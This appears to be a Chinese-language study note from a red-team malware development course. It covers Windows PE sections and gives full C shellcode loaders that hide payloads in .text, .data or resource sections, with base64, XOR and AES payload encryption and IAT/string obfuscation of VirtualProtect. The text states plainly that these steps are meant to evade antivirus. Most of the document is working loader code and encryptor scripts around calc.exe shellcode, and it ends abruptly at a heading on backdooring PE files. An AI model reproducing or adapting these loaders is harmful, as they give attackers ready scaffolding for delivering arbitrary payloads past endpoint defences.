PE文件格式

pics/binary/pe101/pe101.png at master · corkami/pics · GitHub

.text段:代码

.rdata:只读代码

.data:全局变量等

.pdata:

.rsrc: 可以是各种资源文件

.reloc: 重定位,用于加载文件到内存

windows cmd命令查看exe文件

1
dumpbin /headers C:\windows\system32\calc.exe

EXE和DLL文件

简单说,exe可以在内存里单独运行,dll不行,dll是给进程提供其调用的函数用的

cmd命令查看dll文件的导出函数

1
dumpbin /exports implant.dll

调用dll文件的倒数函数

1
rundll32 implant.dll,RunME

恶意程序中的Payload存储位置

droppers:将payload传输到目标机器上的,可以是任何代码,JavaScript、powershell等等

哪里可能拿来存储payloads?.text,.data(创建全局变量存储payload),.rsrc(告诉当前PE文件,某个存储着payload的文件是当前文件需要加载的)

.text段存储payload

需要在进程的内存中申请内存,把payload加载进去,然后执行

这里把申请的内存属性设置为读写而不是读写执行的原因是杀软可能会监视到这种敏感操作,所以分成了两步,先设置为读写,然后设置为读执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {

void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

// 4 byte payload
unsigned char payload[] = {
0x90, // NOP
0x90, // NOP
0xcc, // INT3
0xc3 // RET
};
unsigned int payload_len = 4;

// Allocate a memory buffer for payload
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

// Copy payload to new buffer
RtlMoveMemory(exec_mem, payload, payload_len);

// Make new buffer as executable
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

printf("\nHit me!\n");
getchar();

// If all good, run the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}

return 0;
}

getchar()的作用是为了x64dbg的时候打断点调试

.data段存储payload

这里是把payload换成了全局变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// 4 byte payload
unsigned char payload[] = {
0x90, // NOP
0x90, // NOP
0xcc, // INT3
0xc3 // RET
};
unsigned int payload_len = 4;

int main(void) {

void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

// Allocate a memory buffer for payload
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

// Copy payload to new buffer
RtlMoveMemory(exec_mem, payload, payload_len);

// Make new buffer as executable
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

printf("\nHit me!\n");
getchar();

// If all good, run the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}

return 0;
}

.rsrc段存储payload

和前面的区别在于,首先没有定义payload,payload是被加载的

FindResource告诉系统在当前PE文件中找到FAVICON_ICO文件,返回文件句柄,然后使用LoadResource返回另一个句柄

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "resources.h"

int main(void) {

void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
HGLOBAL resHandle = NULL;
HRSRC res;

unsigned char * payload;
unsigned int payload_len;

// Extract payload from resources section
res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
resHandle = LoadResource(NULL, res);
payload = (char *) LockResource(resHandle);
payload_len = SizeofResource(NULL, res);

// Allocate some memory buffer for payload
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

// Copy payload to new memory buffer
RtlMoveMemory(exec_mem, payload, payload_len);

// Make the buffer executable
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

printf("\nHit me!\n");
getchar();

// Launch the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}

return 0;
}

resources.h

1
#define FAVICON_ICO 100

resources.rc

1
2
3
#include "resources.h"

FAVICON_ICO RCDATA calc.ico

calc.ico就是弹计算器的shellcode

1
2
3
4
5
6
7
8
9
10
11
.rc 文件(资源文件)主要用于定义和管理应用程序的资源,例如图标、菜单、对话框等。resources.rc 文件中定义了一个图标资源 calc.ico,并且通过 FAVICON_ICO 这个宏(其值为 100)来引用它。

虽然在 .cpp 文件中没有直接调用 .rc 文件的内容,但它仍然很重要。具体来说,.rc 文件在编译时会被资源编译器处理,将图标等资源嵌入到最终生成的可执行文件中。

使用方式通常是这样的:

1.包含头文件:在.cpp文件中包含了 resources.h,这样就可以使用 FAVICON_ICO 这个宏来引用 calc.ico。

2.在代码中使用资源:在代码的某个地方使用了像 LoadIcon 或 LoadResource 这样的函数来加载和使用 calc.ico 这个图标,虽然你没有看到直接调用.rc文件,但这些资源是通过宏间接使用的。

编译过程:在编译时,资源编译器会将.rc文件中的定义转换为资源数据并与其他代码一起编译成可执行文件

payload编码和加密

payload在源文件中是加密或者编码存储的,只是在运行或者调用的时候进行解密解码

base64编码

cmd命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
certutil -encode calc.bin calc.b64
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Wincrypt.h>
#pragma comment (lib, "Crypt32.lib")

unsigned char calc_payload[] = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";
unsigned int calc_len = sizeof(calc_payload);


int DecodeBase64( const BYTE * src, unsigned int srcLen, char * dst, unsigned int dstLen ) {

DWORD outLen;
BOOL fRet;

outLen = dstLen;
fRet = CryptStringToBinary( (LPCSTR) src, srcLen, CRYPT_STRING_BASE64, (BYTE * )dst, &outLen, NULL, NULL);

if (!fRet) outLen = 0; // failed

return( outLen );
}


int main(void) {

void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

// Allocate new memory buffer for payload
exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

printf("\nHit me 1st!\n");
getchar();

// Decode the payload back to binary form
DecodeBase64((const BYTE *)calc_payload, calc_len, (char *) exec_mem, calc_len);

// Make the buffer executable
rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

printf("\nHit me 2nd!\n");
getchar();

// If all good, execute!
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}

return 0;
}

异或加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


void XOR(char * data, size_t data_len, char * key, size_t key_len) {
int j;

j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;

data[i] = data[i] ^ key[j];
j++;
}
}

int main(void) {

void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

unsigned char calc_payload[] =
unsigned int calc_len = sizeof(calc_payload);
char key[] = "mysecretkeee";

// Allocate a buffer for payload
exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

printf("\nHit me 1st!\n");
getchar();

// Decrypt (DeXOR) the payload
XOR((char *) calc_payload, calc_len, key, sizeof(key));

// Copy the payload to allocated buffer
RtlMoveMemory(exec_mem, calc_payload, calc_len);

// Make the buffer executable
rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

printf("\nHit me 2nd!\n");
getchar();

// If all good, launch the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}

return 0;
}

这里的payload是异或加密之后的payload,加载的过程中解密,生成这段加密payload的代码如下(python2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys

KEY = "mysecretkeee"

def xor(data, key):

key = str(key)
l = len(key)
output_str = ""

for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
output_str += chr(ord(current) ^ ord(current_key))

return output_str

def printCiphertext(ciphertext):
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')



try:
plaintext = open(sys.argv[1], "rb").read()
except:
print("File argument needed! %s <raw payload file>" % sys.argv[0])
sys.exit()


ciphertext = xor(plaintext, KEY)
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

使用方法

1
python xor.py calc.bin

AES加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}

if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}


int main(void) {

void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

char key[] = {...};
unsigned char calc_payload[] = {...};
unsigned int calc_len = sizeof(calc_payload);

// Allocate memory for payload
exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

printf("\nHit me 1st!\n");
getchar();

// Decrypt payload
AESDecrypt((char *) calc_payload, calc_len, key, sizeof(key));

// Copy payload to allocated buffer
RtlMoveMemory(exec_mem, calc_payload, calc_len);

// Make the buffer executable
rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

printf("\nHit me 2nd!\n");
getchar();

// If all good, launch the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}

return 0;
}

AES加密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import sys
from Crypto.Cipher import AES
from os import urandom
import hashlib

KEY = urandom(16)

def pad(s):
return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)

def aesenc(plaintext, key):

k = hashlib.sha256(key).digest()
iv = 16 * '\x00'
plaintext = pad(plaintext)
cipher = AES.new(k, AES.MODE_CBC, iv)

return cipher.encrypt(bytes(plaintext))


try:
plaintext = open(sys.argv[1], "r").read()
except:
print("File argument needed! %s <raw payload file>" % sys.argv[0])
sys.exit()

ciphertext = aesenc(plaintext, KEY)
print('AESkey[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')
print('payload[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

函数调用混淆

杀软会分析IAT表,需要把dll文件和外部函数调用进行隐藏

1
2
handle = GetModuleHandle("sound.dll")
GetProcAddress(handle,"PlaySound")

在取得函数地址之前要全局变量定义函数,且需要是指针类型,函数原型在Google上搜msdn 函数名,然后强制转换为指针类型

1
2
3
BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PWORD lpfloldProtect);
...
pVirtualProtect = GetProcAddress(GetModuleHandle("kernel32.dll"),"VirtualProtect")

用上述方式在IAT表里找不到VirtualProtect

1
dumpbin /imports a.exe | findstr /i "virutal"

但是在字符串里可以找到

1
strings.exe -n 8 implant.exe | findstr /i "virtual"

这是因为使用的函数名是明文的,函数名也可以加密(代码附后)

1
2
3
4
python -i xorencrtypt2.py

>>xor("VirtualProtect","key")
>>printC(xor("VirtualProtect","key"))

原先的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char calc_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int calc_len = sizeof(calc_payload);

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
int j;

j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;

data[i] = data[i] ^ key[j];
j++;
}
}

int main(void) {

void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
char key[] = "";

// Allocate buffer for payload
exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

//XOR((char *) calc_payload, calc_len, key, sizeof(key));

// Copy payload to the buffer
RtlMoveMemory(exec_mem, calc_payload, calc_len);

// Make the buffer executable
rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

printf("\nHit me!\n");
getchar();

// If all good, run the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}

return 0;
}

只混淆函数,这种在strings里仍然可以看到,但是在IAT表看不到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PWORD lpfloldProtect);

unsigned char calc_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int calc_len = sizeof(calc_payload);

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
int j;

j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;

data[i] = data[i] ^ key[j];
j++;
}
}

int main(void) {

void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
char key[] = "";

// Allocate buffer for payload
exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

//XOR((char *) calc_payload, calc_len, key, sizeof(key));

// Copy payload to the buffer
RtlMoveMemory(exec_mem, calc_payload, calc_len);
pVirtualProtect = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");

// Make the buffer executable
rv = pVirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

printf("\nHit me!\n");
getchar();

// If all good, run the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}

return 0;
}

附上异或的操作代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import sys

KEY = "mysecretkeee"

def xor(data, key):
l = len(key)
output_str = ""

for i in range(len(data)):
current = data[i]
current_key = key[i%len(key)]
output_str += chr(ord(current) ^ ord(current_key))

return output_str

def printC(ciphertext):
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

try:
plaintext = open(sys.argv[1], "r").read()
except:
print("File argument needed! %s <raw payload file>" % sys.argv[0])
sys.exit()

ciphertext = xor(plaintext, KEY)

printC(ciphertext)

混淆函数名字符串的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
/*

Red Team Operator course code template
function call obfuscation

author: reenz0h (twitter: @sektor7net)

*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PWORD lpfloldProtect);

unsigned char calc_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int calc_len = sizeof(calc_payload);

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
int j;

j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;

data[i] = data[i] ^ key[j];
j++;
}
}

int main(void) {

void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
char key[] = "mysecretkey";
char sVirtualProtect[] = { 0x3b, 0x10, 0x1, 0x11, 0x16, 0x13, 0x9, 0x24, 0x19, 0xa, 0xd, 0x8, 0x1a, 0x7 };
// Allocate buffer for payload
exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

XOR((char *) sVirtualProtect, strlen(sVirtualProtect), key, sizeof(key));

// Copy payload to the buffer
RtlMoveMemory(exec_mem, calc_payload, calc_len);
pVirtualProtect = GetProcAddress(GetModuleHandle("kernel32.dll"), sVirtualProtect);

// Make the buffer executable
rv = pVirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

printf("\nHit me!\n");
getchar();

// If all good, run the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}

return 0;
}

后门PE文件

注入恶意代码的位置

1
2
3
